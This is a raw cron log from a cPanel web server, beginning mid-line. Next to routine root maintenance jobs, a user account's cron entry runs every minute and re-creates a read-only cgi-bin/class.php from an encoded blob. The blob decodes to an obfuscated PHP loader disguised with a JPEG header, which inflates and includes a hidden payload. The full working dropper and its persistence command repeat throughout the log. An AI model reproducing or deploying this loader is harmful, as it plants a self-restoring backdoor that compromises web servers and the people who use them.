Q9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:18:01 server CROND[28025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:19:01 server CROND[28109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:20:01 server CROND[28171]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 07:20:01 server CROND[28172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:20:01 server CROND[28173]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 07:20:01 server CROND[28170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:20:01 server CROND[28181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:21:01 server CROND[28306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:22:01 server CROND[28373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:23:01 server CROND[28522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:24:01 server CROND[28592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:25:01 server CROND[28664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:25:01 server CROND[28665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:25:01 server CROND[28666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:26:01 server CROND[28776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:27:01 server CROND[28838]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 07:27:01 server CROND[28839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:28:01 server CROND[28995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:29:01 server CROND[29052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 07:30:01 server CROND[29107]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 07:30:01 server CROND[29108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 07:30:01 server CROND[29109]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 07:30:01 server CROND[29110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
